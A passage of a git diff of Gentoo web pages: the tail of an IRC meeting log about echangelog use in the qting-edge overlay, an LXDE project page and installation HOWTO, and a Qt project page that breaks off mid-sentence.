+[23:05:58] <wired> seriously
+[23:06:02] <ayoy> why not?
+[23:06:05] <wired> i can't stand them, overlays shouldnt have changelogs
+[23:06:10] <wired> duplicate info
+[23:06:15] <yngwin> qting-edge is also a training area for new recruits / devs-to-be
+[23:06:35] <wired> yngwin: most overlays are
+[23:06:37] <yngwin> it's good practice to get used to using echangelog
+[23:06:43] <ayoy> yngwin++
+[23:06:44] <wired> yngwin: repoman will scream anyway
+[23:06:53] <PSYCHO___> repoman wont scream
+[23:06:57] <ayoy> it doesn't
+[23:06:58] <spatz> I think that's the least of the recruit's problems
+[23:07:01] <yngwin> yes, that is why my policy is to use echangelog in all overlays
+[23:07:02] <wired> spatz++
+[23:07:07] <spatz> it doesn't scream, it warns
+[23:07:10] *** Quits: nirbheek (n=nirbheek@gentoo/developer/nirbheek) ("Gone.")
+[23:07:10] <PSYCHO___> repoman ignores changelogs for distributed scms
+[23:07:14] <PSYCHO___> spatz: ^
+[23:07:17] <wired> PSYCHO___: i meant in cvs
+[23:07:20] <spatz> recruits should be taught to read repoman's warnings :)
+[23:07:22] <PSYCHO___> spatz: i wrote the code to portage, so i know about its behaviour
+[23:07:32] <spatz> I mean when they commit to the tree
+[23:07:36] <yngwin> as long as portage is using cvs and echangelog, i want us to use it in the overlay
+[23:07:47] <wired> i really don't like it, i forget it because this is the only overlay we use changelogs
+[23:07:47] <wired> from the ones i use
+[23:07:51] <yngwin> echangelog that is, not cs :p
+[23:07:55] <yngwin> cvs*
+[23:07:59] <spatz> lol
+[23:08:15] <spatz> can we vote or do you veto?
+[23:08:19] <tampakrap_> for the record i agree with wired
+[23:08:21] <PSYCHO___> :D
+[23:08:27] <wired> i'd like a vote for this
+[23:08:28] <wired> :)
+[23:08:40] <yngwin> also, for users who checkout the overlay, they may expect changelogs
+[23:08:45] <yngwin> i would, anyway
+[23:08:56] <spatz> no overlay has changelogs, so why would they?
+[23:08:57] *** Quits: krakonos (n=krakonos@kangaroo.kolej.mff.cuni.cz) (Client Quit)
+[23:09:07] <ayoy> I'm for changelogs in the overlay
+[23:09:09] <wired> yngwin: well users are educated to git log or visit gitweb these days, thanks to kde-testing :P
+[23:09:14] <yngwin> because portage does
+[23:09:47] <wired> besides, git log is blazingly fast, its not like you have to cvs log :p
+[23:10:02] <ayoy> echangelog in git is also fast
+[23:10:06] <ayoy> ;]
+[23:10:07] <yngwin> most users dont know how to handle git
+[23:10:20] <PSYCHO___> plz vote and end, i want to go to shower
+[23:10:23] <wired> ayoy: sure, but when you don't echangelog in most overlays
+[23:10:24] <spatz> they can use the gitorious web-ui
+[23:10:27] <wired> you tend to forget
+[23:10:37] <ayoy> wired: then add echangelogs to other overlays
+[23:10:39] <yngwin> PSYCHO___: s/vote/veto/
+[23:10:42] <ayoy> :)
+[23:10:56] <wired> meh
+[23:11:02] <PSYCHO___> yngwin: me dont care you are no longer subproject and you are lead, so it is up to you
+[23:11:17] <PSYCHO___> yngwin: 2 months ago i could veto your veto but now it is entirely up to you :D
+[23:11:22] <wired> lol
+[23:11:24] <ayoy> lol :D
+[23:11:35] <yngwin> i want better arguments than "I'm too lazy"
+[23:11:36] <tampakrap_> yngwin: we hate you
+[23:11:44] <wired> yngwin: its not im lazy
+[23:11:48] <yngwin> tampakrap_: i'm honoured
+[23:11:53] <tampakrap_> it's that i am lazy
+[23:11:54] <PSYCHO___> yngwin: fucked up 3way merge strategy
+[23:11:58] <wired> its dup info, no real advantages :)
+[23:12:03] <wired> anyway
+[23:12:12] <PSYCHO___> we dropped it because it breaks merges a lot
+[23:12:17] <spatz> it was invented to overcome VCS shortcomings we no longer have
+[23:12:27] <ayoy> who merges anything in qting-edge?
+[23:12:29] <yngwin> we still have in portage
+[23:12:34] <ayoy> I've seen it once maybe
+[23:12:39] <wired> yngwin: portage is cvs, we need it there
+[23:12:45] <tampakrap_> yes, better spend the echangelog time to help portage to move to git i'd say :P
+[23:12:45] <spatz> because it still has to deal with those shortcomings - we don't
+[23:13:09] <spatz> when the tree moves to git the changelogs would probably be thrown out the window
+[23:13:11] <yngwin> wired: yes, and i want the overlay to be similar
+[23:13:25] <ayoy> then we will remove them as well
+[23:13:27] <ayoy> ofc....
+[23:13:29] * PSYCHO___ throws the orange duck from one hand to another and looks on the clock
+[23:13:32] <tampakrap_> still, cvs commit progress is *very* different from git commit process
+[23:13:38] <spatz> PSYCHO___: it's yellow!
+[23:13:46] <PSYCHO___> not this one
+[23:13:49] <wired> yngwin: if recruits can't handle that difference between qting-edge and cvs, then they shouldn't be devs, really :P
+[23:13:51] <ayoy> it's Czech duck
+[23:14:10] <yngwin> hmm, there is something to that
+[23:14:13] <spatz> so it has weird dots and lines all over and above it?
+[23:14:58] <tampakrap_> ok i have to go, don't care that much about this subject :P
+[23:15:01] <spatz> ok, let's give yngwin time to think about this and wrap this party up
+[23:15:09] <PSYCHO___> yngwin: http://dev.gentoo.org/~scarabeus/0911-meeting_summary.txt fix the FIXME parts, me blobs to shower
+[23:15:10] <yngwin> yes, ok
+[23:15:10] <wired> alright
+[23:15:15] <wired> yngwin: its up to you, next meeting
+[23:15:17] <ayoy> let's continue this topic on ML! :D
+[23:15:19] <ayoy> yay!
+[23:15:31] <wired> wait!
+[23:15:35] <wired> you all FREEZE!
+[23:15:40] <tampakrap_> wut?
+[23:15:45] <yngwin> i'll think about it, and we can discuss it again later, ok?
+[23:15:48] <wired> lets discuss our project page a bit
+[23:15:50] <wired> yngwin: OK
+[23:15:50] <spatz> don't forget do update your qting-edge/.git/config to new pushurls :D
+[23:15:52] * PSYCHO___ does the squeek sound with his duck
+[23:16:05] <ayoy> spatz: send a mail to qt@ about it
+[23:16:07] <yngwin> can somebody shut up that PSYCHO?
+[23:16:10] <wired> lol
+[23:16:14] <PSYCHO___> he said freeze
+[23:16:29] <yngwin> if you need to go, you can go
+[23:16:44] <wired> i wrote up a first version, but I'd like feedback from all of you
+[23:16:49] <wired> stuff that should be there
+[23:16:51] <wired> stuff that should go
+[23:17:06] <spatz> we can continue discussing this after the meeting, we don't need to hold everybody up
+[23:17:11] <yngwin> i do want to ask qt devs if thet would prefer a separate meeting, as these combined meetings take long
+[23:17:19] <ayoy> ++
+[23:17:19] <tampakrap_> no
+[23:17:22] <ayoy> YES
+[23:17:34] <wired> if
+[23:17:38] <wired> we keep it to 2-3 hours combined
+[23:17:40] <wired> im fine
+[23:17:44] <tampakrap_> issues concern both teams usually
+[23:17:45] <ayoy> a pity is that half of the team will have just 2 meetings
+[23:17:47] <ayoy> kde and qt one
+[23:18:06] <wired> tampakrap++ 
+[23:18:28] <yngwin> i'll write a mail to kde@ and qt@ and we can discuss it then
+[23:18:38] <tampakrap_> or just desktop
+[23:18:40] <ayoy> if we started at 18 UTC or started with Qt stuff I'd be fine
+[23:18:42] <mrpouet> btw, okay to import my patch in phonon ? :]
+[23:18:43] <tampakrap_> desktop mailing list
+[23:18:54] <wired> mrpouet: good morning!
+[23:19:11] <yngwin> i'm not sure everyone is on desktop ml
+[23:19:11] *** Quits: ayoy (n=ayoy@gentoo/developer/ayoy) (Remote closed the connection)
+[23:19:19] <tampakrap_> should be
+[23:19:19] <mrpouet> wired: did you smoke something ? 
+[23:19:24] *** Joins: ayoy (n=ayoy@cs78245237.pp.htv.fi)
+[23:19:30] <wired> mrpouet: lol no i don't smoke ;) 
+[23:19:45] <mrpouet> :p
+[23:19:48] <tampakrap_> have to go bye
+[23:19:50] <ayoy> :/
+[23:19:52] <ayoy> bai
+[23:19:57] <yngwin> bye tampakrap_
+[23:20:00] <wired> cya
+[23:20:04] *** Quits: tampakrap_ (n=tampakra@gentoo/developer/tampakrap) (Remote closed the connection)
+[23:20:07] <mrpouet> wired: what your sentence has to do with my question ? :D
+[23:20:07] <yngwin> we're wrapping up anyway
+[23:20:31] <yngwin> wired: good job on the project page, I'm sure there will be improvements/additions over time
+[23:20:33] <wired> mrpouet: i asked you to talk about your issue a while back but you didn't respond :P
+[23:20:57] * mrpouet has a girl-friend :(
+[23:21:01] <wired> yngwin: indeed. thanks
+[23:21:11] <mrpouet> a girl friend is boring you know.. :D
+[23:21:17] <wired> mrpouet: so do I, but now its sacred... errr meeting time!
+[23:21:28] <ayoy> lol
+[23:21:43] <mrpouet> wired: aaarfff I know !! :(
+[23:22:28] <wired> i think we can wrap this up now
+[23:22:28] <wired> :p
+[23:22:38] <yngwin> ok, last call
+[23:22:40] <wired> mrpouet: tell em about your patch
+[23:22:45] <wired> before they all leave
+[23:22:45] <wired> :p
+[23:22:51] * mrpouet setups a sighandler for SIGGIRL-FRIEND
+[23:23:02] <ayoy> ...
+[23:23:09] <mrpouet> ohhh better
+[23:23:15] <mrpouet> ignore signal :D
+[23:23:23] <mrpouet> ==> [ ] 
+[23:23:25] <mrpouet> ^^
+[23:23:27] <yngwin> mrpouet: you have 2 minutes
+[23:23:58] <wired> 30s gone
+[23:24:07] <mrpouet> okay so, I wrote a patch in order to add a support for external subtitles (files)
+[23:24:07] <ayoy> lalala
+[23:24:39] <mrpouet> it works just fine, sandsmark approved it (on upstream)
+[23:24:56] <mrpouet> it would be nice then to patch kaffeine&dragon
+[23:25:10] <mrpouet> but before we need to import my patch in phonon
+[23:25:24] <mrpouet> see https://bugs.kde.org/show_bug.cgi?id=213710
+[23:25:31] <yngwin> m-s/phonon or qt-phonon or both?
+[23:25:33] <mrpouet> for technical details
+[23:25:40] <mrpouet> yngwin: m-s/phonon
+[23:25:46] <yngwin> ok
+[23:26:35] <mrpouet> currently we can :  auto-detect patch (recursively in the media directory), load a patch manually, setting up the subtitle encoding
+[23:26:47] <mrpouet> rrraaahhh !!!! fucking shit !!!
+[23:26:57] <mrpouet> auto-detect subs *
+[23:27:03] <wired> lol
+[23:27:06] <mrpouet> s/patch/subs
+[23:27:08] <mrpouet> o_O
+[23:27:15] * mrpouet stabs himself
+[23:27:39] <wired> you're putting quite a show 
+[23:27:47] <wired> :D
+[23:27:50] <mrpouet> :D
+[23:27:51] <yngwin> looks to me the patch has merit, but i'm not kde herd, and i think PSYCHO___ has left 
+[23:28:02] <wired> the patch work
+[23:28:02] <wired> s
+[23:28:08] <wired> pretty well
+[23:28:12] <mrpouet> :)
+[23:28:12] * wired tested it
+[23:28:30] <yngwin> so i suggest you open a bug and poke kde team
+[23:29:34] <mrpouet> there is already a bug :)
+[23:29:36] <yngwin> ok, meeting closed
+[23:29:38] <yngwin> -------------------------------------
diff --git a/xml/htdocs/proj/en/desktop/lxde/index.xml b/xml/htdocs/proj/en/desktop/lxde/index.xml
new file mode 100644
index 00000000..e5a23a02
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/lxde/index.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>lxde</name>
+  <longname>Gentoo LXDE Project</longname>
+  <date>29 Oct 2009</date>
+  <author title="Author">Ben de Groot</author>
+
+  <description>
+    The LXDE project handles all issues related to the LXDE desktop
+    environment in Gentoo.
+  </description>
+
+  <longdescription>
+    <p>
+      The LXDE project manages ebuilds in Gentoo for
+      <uri link="http://lxde.org/">LXDE</uri>, the Lightweight X11 Desktop
+      Environment, and related issues.
+    </p>
+  </longdescription>
+
+  <goals>
+    <p>
+      The goals of the LXDE project are to provide users the needed packages
+      to install LXDE on their Gentoo system, to handle their bugs and other
+      requests, to keep up-to-date with LXDE upstream development, and to
+      support LXDE and related packages in Gentoo in order to give users the
+      best possible desktop experience. The project also strives to write
+      and maintain 'live' ebuilds in an official LXDE overlay.
+    </p>
+  </goals>
+
+  <dev role="lead">vostorga</dev>
+  <dev role="member">calchan</dev>
+
+  <extrachapter>
+  <title>Documentation</title>
+  <section>
+    <body>
+    <p>
+      We are currently developing documentation in the form of an
+      <uri link="lxde-howto.xml">LXDE Configuration Howto</uri>. If you have
+      any corrections or additions, please let us know.
+    </p>
+    </body>
+  </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>Participate</title>
+    <section>
+      <body>
+        <p>
+          Users are encouraged to get in touch and to help out with developing,
+          maintaining and supporting LXDE and related packages in Gentoo.
+        </p>
+      </body>
+    </section>
+  </extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/lxde/lxde-howto.xml b/xml/htdocs/proj/en/desktop/lxde/lxde-howto.xml
new file mode 100644
index 00000000..a4b39cd9
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/lxde/lxde-howto.xml
@@ -0,0 +1,332 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide>
+<title>The LXDE Configuration HOWTO</title>
+
+<author title="Author">
+  <mail link="kalos"/>
+</author>
+<author title="Editor">
+  <mail link="yngwin"/>
+</author>
+<author title="Editor">
+  <mail link="vostorga"/>
+</author>
+
+<abstract>
+This guide introduces the user to LXDE, explains its components, and leads the
+user through the installation.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2009-10-29</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>What is LXDE?</title>
+<body>
+
+<p>
+After installing your base Gentoo system, and <uri
+link="/doc/en/xorg-config.xml">the X Server</uri>, you have to make many
+choices regarding your graphical environment, if you want one at all.  There
+are many options available to you, ranging from minimalistic window managers
+like <uri link="/doc/en/openbox.xml">Openbox</uri>, to full-featured
+desktop environments like <uri link="/proj/en/desktop/kde/kde-config.xml">
+KDE</uri>, and <uri link="/doc/en/gnome-config.xml">GNOME</uri>.
+</p>
+
+<p>
+You may find yourself saying "well, I like the idea of having a lightweight
+graphical environment, but I don't want to install and configure every
+component individually like with Openbox."  For quite some time, such users
+installed <uri link="/doc/en/xfce-config.xml">Xfce</uri>.  While it provided
+a nice fully-featured environment without the system intensities of KDE or
+GNOME, it could still become a bit on the heavy side.  Now, you have another
+choice: the <uri link="http://www.lxde.org">Lightweight X11 Desktop
+Environemnt</uri>, or <uri link="http://www.lxde.org">LXDE</uri> for short.
+</p>
+
+</body>
+</section>
+<section>
+<title>Components of LXDE</title>
+<body>
+
+<p>
+LXDE, being a desktop environment, is comprised of several components.  Each
+program offers a certain functionality, and together they form the complete
+desktop environment.  Currently, there are eleven core components, and
+several other programs necessary to make a complete LXDE installation.
+These programs are the ones pulled in by the <uri
+link="http://packages.gentoo.org/package/lxde-base/lxde-meta">LXDE meta</uri>
+package, discussed in the installation section.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Core Components</title>
+<body>
+
+<ul>
+  <li>
+    <uri
+    link="http://packages.gentoo.org/package/lxde-base/lxappearance">LXappearance</uri>
+    is a GTK theme and icon configurator that allows you to customise the look of LXDE.
+  </li>
+  <li>
+    <uri
+    link="http://packages.gentoo.org/package/lxde-base/lxde-common">LXDE-common</uri>
+    is a collection of default configuration files.
+  </li>
+  <li>
+    <uri
+    link="http://packages.gentoo.org/package/lxde-base/lxde-icon-theme">LXDE-icon-theme</uri>
+    is the main set of icons.
+  </li>
+  <li>
+    <uri
+    link="http://packages.gentoo.org/package/lxde-base/lxmenu-data">LXmenu-data</uri>
+    is the application menu manager.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxinput">LXinput</uri>
+    is a keyboard and mouse configurator.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxpanel">LXpanel</uri>
+    is the panel that includes the application menu, system tray, and clock.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxrandr">LXrandr</uri>
+    is a graphical interface to X Resize and Rotate, allowing for display manipulation.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxsession">LXsession</uri>
+    is a session manager, providing options to shutdown, reboot, and suspend the system.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxsession-edit">
+    LXsession-edit</uri> allows you to enable / disable applications at startup.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxshortcut">LXshortcut</uri>
+    is an easy way to edit application shortcuts, especially for desktop icons.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxtask">LXtask</uri>
+    is the task manager used to view / edit running services and programs.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/lxde-base/lxterminal">LXterminal</uri>
+    is the vte-based tabbed terminal emulator.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Other Applications used by LXDE</title>
+<body>
+
+<ul>
+  <li>
+    <uri
+    link="http://packages.gentoo.org/package/x11-wm/openbox">OpenBox</uri>
+    is the window manager, responsible for drawing the containers for programs.
+  </li>
+  <li>
+    <uri
+    link="http://packages.gentoo.org/package/x11-misc/pcmanfm">PCManFM</uri> is
+    the incredibly fast, tabbed file manager.
+  </li>
+  <li>
+    <uri
+    link="http://packages.gentoo.org/package/x11-misc/obconf">ObConf</uri> is
+    the configurator for OpenBox, allowing you to change window decorations
+    and more.
+  </li>
+  <li>
+    <uri link="http://packages.gentoo.org/package/media-gfx/gpicview">GPicView
+    </uri> is the default image viewer.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation</title>
+
+<section>
+<title>Initial installation</title>
+<body>
+
+<p>
+After you have emerged and configured <c>xorg-server</c>, you are ready to
+install LXDE.  Currently, all the LXDE packages are in the testing (~arch)
+branch.  If you are running the stable branch, you will need to add all the
+LXDE packages to your <path>/etc/portage/package.keywords</path> (see the <uri
+link="/doc/en/handbook/handbook-x86.xml?full=1#book_part3_chap3">Mixing
+Software branches</uri> portion of the handbook for more information).
+</p>
+
+<note>
+You can tell if you are running the stable branch or the testing branch
+system-wide by looking at your <path>/etc/make.conf</path>.  If you have a tilde
+(~) in your ACCEPT_KEYWORDS line (for instance, ACCEPT_KEYWORDS="~x86"), then you
+are running the testing branch.  If there is no tilde, then you are running the
+stable branch.
+</note>
+
+<pre caption="Opening the Portage keywords file">
+# <i>nano -w /etc/portage/package.keywords</i>
+</pre>
+
+<p>
+Then you will need to add the following lines to your keywords file:
+</p>
+
+<pre caption="Adding LXDE packages to the keywords file">
+lxde-base/lxde-meta
+lxde-base/lxinput
+lxde-base/lxpanel
+lxde-base/lxde-common
+lxde-base/lxde-icon-theme
+lxde-base/lxmenu-data
+lxde-base/lxtask
+lxde-base/lxsession
+lxde-base/lxsession-edit
+lxde-base/lxappearance
+lxde-base/lxterminal
+lxde-base/lxrandr
+lxde-base/lxshortcut
+lxde-base/menu-cache
+media-gfx/gpicview
+x11-misc/pcmanfm
+</pre>
+
+<p>
+After adding the keyworded packages, you need to merge all of the packages.
+Fortunately, this can now be done with an easy meta build:
+</p>
+
+<pre caption="Installing LXDE">
+# <i>emerge -av lxde-meta</i>
+</pre>
+
+<p>
+Just like with other desktop environments, you will need to tell the
+X Server to load LXDE automatically, by adding it to your
+<path>~/.xinitrc</path>.
+</p>
+
+<pre caption="Adding LXDE to your .xinitrc">
+$ <i>echo "exec startlxde" >> ~/.xinitrc</i>
+</pre>
+
+<p>
+This will automatically start your LXDE session when you type <c>startx</c>
+at the terminal.
+</p>
+
+<note>
+If you use a login manager like SLiM, XDM, GDM, or KDM, you do not need to
+edit your <path>~/.xinitrc</path>.  LXDE will simply show up as a choice in
+your login manager's screen.
+</note>
+
+<impo>
+As each user has his or her own <path>.xinitrc</path>, you need to make sure to
+issue that command as <e>your user</e>, not as root.
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuration</title>
+
+<section>
+<title>GTK icon warning</title>
+<body>
+
+<p>
+Now that the X server knows to start LXDE on command, type in <c>startx</c> to
+fire up LXDE.  The first thing you may notice is that you get a warning about
+an improper GTK icon set.  To fix this minor hangup, you simply need to change
+the icon theme.  To do so, click on the LXDE application menu (in the
+lower left-hand corner of the panel), and go to Preferences --> Appearance.
+In the LXappearance menu, click on the "Icon" tab, and choose nuoveXT.2.2.
+Hit "Apply," and then "Close."  The next time you login to LXDE, the error
+message will not appear.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Right-click menu</title>
+<body>
+
+<p>
+In LXDE, every appearance option is not handled through LXappearance as one
+might believe.  Rather, there are some common options that are handled through
+a right-click menu on the desktop.  At the bottom of that menu is the
+"Desktop Settings" menu.  In here, you can find icon sizes, single-click and
+double-click behaviour, maximum thumbnail size, and desktop wallpaper
+settings.  It may behoove you to look through the these tabs for additional
+appearance settings.
+</p>
+
+<note>
+These "Desktop Settings" can also be found by opening up the file manager
+(PCManFM), and going to Edit --> Preferences.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Further documentation</title>
+<section>
+<title>External resources</title>
+<body>
+
+<p>
+Though this guide will help you get LXDE installed, the documentation does not
+stop here.  There are many resources available to you regarding the various
+facets of the Lightweight X11 Desktop Environment.  Some such resources are
+listed below:
+</p>
+
+<ul>
+  <li>
+    On the <uri link="http://www.lxde.org">Official LXDE website</uri> you
+    will find information regarding developmental progress, a community
+    of support, and recommend system specifications for running LXDE.
+  </li>
+  <li>
+    The <uri link="http://wiki.lxde.org/en/Main_Page">LXDE wiki</uri> contains
+    instructions for customising your LXDE installation, including
+    keyboard layouts, autostarting applications, changing the default window
+    manager, and much more.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/qt/index.xml b/xml/htdocs/proj/en/desktop/qt/index.xml
new file mode 100644
index 00000000..89d8b6b2
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/index.xml
@@ -0,0 +1,244 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/qt/index.xml,v 1.24 2010/06/24 21:13:15 wired Exp $ -->
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>Qt</name>
+<longname>Gentoo Qt Project</longname>
+
+<date>2010-06-24</date>
+
+<author title="Author">
+  <mail link="wired"/>
+</author>
+<author title="Editor">
+  <mail link="hwoarang"/>
+</author>
+<author title="Editor">
+  <mail link="yngwin"/>
+</author>
+
+<description>
+The Qt project manages the Qt ebuilds within Gentoo.
+</description>
+
+<longdescription>
+<p>
+The Qt project handles the Qt ebuilds available in Gentoo's portage and the <uri link="http://gitorious.org/gentoo-qt/qting-edge">qting-edge</uri> overlay. It also maintains various Qt packages and libraries that don't have dedicated maintainers.
+</p>
+</longdescription>
+
+<goals>
+<p>
+The goal of the Gentoo Qt team is have fully functional, up-to-date ebuilds for the Qt toolkit and various Qt applications. We also maintain eclasses that ease creation and maintainance of ebuilds using Qt.
+</p>
+</goals>
+
+<dev role="lead">wired</dev>
+<dev role="member">abcd</dev>
+<dev role="member">ayoy</dev>
+<dev role="member">chiiph</dev>
+<dev role="member">hwoarang</dev>
+<dev role="member">spatz</dev>
+<dev role="member" description="stable manager">tampakrap</dev>
+
+<extrachapter position="goals">
+<title>Frequently Asked Questions</title>
+<section>
+<body>
+
+<p>
+    For frequently asked questions and their answers, please consult our
+    <uri link="qt-faq.txt">FAQ</uri>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="goals">
+<title>Team meetings</title>
+<section>
+<body>
+
+<p>
+The Qt team has its regular meetings in
+<uri link="irc://irc.freenode.net/gentoo-meetings">#gentoo-meetings</uri> on
+the third Thursday of every month at 19:00 UTC. For earlier logs and summaries,
+please see the
+<uri link="http://www.gentoo.org/proj/en/desktop/kde/#doc_chap5">KDE team page</uri>.
+</p>
+
+<table>
+	<tr>
+		<th>Date</th>
+		<th>Log</th>
+		<th>Summary</th>
+	</tr>
+	<tr>
+		<ti>24 June 2010</ti>
+		<ti><uri link="logs/qt-project-meeting-20100624.txt">20100624 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20100624">20100624 Summary</uri></ti>
+	</tr>
+	<tr>
+		<ti>27 May 2010</ti>
+		<ti><uri link="logs/qt-project-meeting-20100527.txt">20100527 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20100527">20100527 Summary</uri></ti>
+	</tr>
+	<tr>
+		<ti>20 May 2010</ti>
+		<ti><uri link="logs/qt-project-meeting-20100520.txt">20100520 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20100520">20100520 Summary</uri></ti>
+	</tr>
+	<tr>
+		<ti>15 April 2010</ti>
+		<ti><uri link="logs/qt-project-meeting-20100415.txt">20100415 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20100415">20100415 Summary</uri></ti>
+	</tr>
+	<tr>
+		<ti>18 March 2010</ti>
+		<ti><uri link="logs/qt-project-meeting-20100318.txt">20100318 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20100318">20100318 Summary</uri></ti>
+	</tr>
+	<tr>
+		<ti>19 February 2010</ti>
+		<ti><uri link="logs/qt-project-meeting-20100219.txt">20100219 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20100219">20100219 Summary</uri></ti>
+	</tr>
+	<tr>
+		<ti>21 January 2010</ti>
+		<ti><uri link="logs/qt-project-meeting-20100121.txt">20100121 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20100121">20100121 Summary</uri></ti>
+	</tr>
+	<tr>
+		<ti>17 December 2009</ti>
+		<ti><uri link="logs/qt-project-meeting-20091217.txt">20091217 Log</uri></ti>
+		<ti><uri link="http://gitorious.org/gentoo-qt/pages/Meeting20091217">20091217 Summary</uri></ti>
+	</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="goals">
+<title>Qting-edge overlay</title>
+<section>
+<body>
+
+<p>Nokia currently provides multiple Qt versions at the same time. Hence we created <uri link="http://gitorious.org/gentoo-qt/qting-edge">qting-edge</uri> overlay to make those versions available to our users. We put a great effort in maintaining many flavors of the Qt4 library. Currently we maintain and testing on almost daily basis the following packages:</p>
+<table>
+	<tr>
+		<th>Major Version</th>
+		<th align="center">Flavors</th>
+		<th align="center">Use Flag</th>
+		<th align="center">Upstream Repository</th>
+	</tr>
+	<tr>
+		<ti align="center">4.6.9999</ti>
+		<ti>
+			<ul>
+			<li>Nokia 4.6 branch</li>
+			<li>Nokia 4.6 stable branch</li>
+			<li>kde-qt 4.6 patched branch</li>
+			</ul>
+		</ti>
+		<ti>
+			<ul>
+			<li>-stable-branch</li>
+			<li>stable-branch</li>
+			<li>kde-qt</li>
+			</ul>
+		</ti>
+		<ti>
+			<ul>
+			<li><uri link="http://qt.gitorious.org/qt/qt/commits/4.6">qt 4.6 master branch</uri></li>
+			<li><uri link="http://qt.gitorious.org/qt/qt/commits/4.6-stable">qt 4.6 stable branch</uri></li>
+			<li><uri link="http://gitorious.org/+kde-developers/qt/kde-qt">kde-qt 4.6 patched branch</uri></li>
+			</ul>
+		</ti>
+	</tr>
+	<tr>
+		<ti align="center">4.7.9999</ti>
+		<ti>
+			<ul>
+			<li>Nokia 4.7 branch</li>
+			<li>Nokia 4.7 stable branch</li>
+			</ul>
+		</ti>
+		<ti>
+			<ul>
+			<li>-stable-branch</li>
+			<li>stable-branch</li>
+			</ul>
+		</ti>
+		<ti>
+			<ul>
+			<li><uri link="http://qt.gitorious.org/qt/qt/commits/4.7">qt 4.7 master branch</uri></li>
+			<li><uri link="http://qt.gitorious.org/qt/qt/commits/4.7-stable">qt 4.7 stable branch</uri></li>
+			</ul>
+		</ti>
+	</tr>
+	<tr>
+		<ti align="center">4.9999</ti>
+		<ti>
+			<ul>
+			<li>Nokia master branch</li>
+			<li>Nokia stable master branch</li>
+			</ul>
+		</ti>
+		<ti>
+			<ul>
+			<li>-stable-branch</li>
+			<li>stable-branch</li>
+			</ul>
+		</ti>
+		<ti>
+			<ul>
+			<li><uri link="http://qt.gitorious.org/qt/qt/commits/master">qt master branch</uri></li>
+			<li><uri link="http://qt.gitorious.org/qt/qt/commits/master-stable">qt master stable branch</uri></li>
+			</ul>
+		</ti>
+	</tr>
+</table>
+<impo>
+Due to limited hardware resources we might be unable to test some of the above Qt versions. You may check the list of maintainers <uri link="http://gitorious.org/gentoo-qt/pages/Qt4%20live%20ebuilds">here</uri>. If you want to help us and test a specific version of Qt please let us know. Furthermore, a webpage which reflects the current build status of Qt live ebuilds can be found <uri link="http://dev.gentoo.org/~hwoarang/qt/qt4-live-status">here</uri>.</impo>
+<p>You may seek online support on <uri link="http://forums.gentoo.org/viewtopic-t-730187.html">Gentoo Forums</uri>. See Section 6 for alternative methods to contact us.</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="goals">
+<title>Contributing</title>
+<section>
+<body>
+
+<p>
+Bugs, bugs, bugs! If you want to help, consider going through the Qt bug list:
+<uri>http://xrl.us/qtbugs</uri>. Any comment that can help a bug get fixed is
+always useful!
+</p>
+
+<p>
+Those interested in writing ebuilds for Qt4 applications may find this tutorial
+useful: <uri link="qt4-based-ebuild-howto.xml">Qt4-based Ebuild HowTo</uri>.
+</p>
+
+<p>
+Active contributors usually gain access to the qting-edge overlay to better help
+us with ebuild maintainance and can, in time, become full-fledged developers :)
+</p>
+
+<p>
+To get in contact with the Qt team, drop by
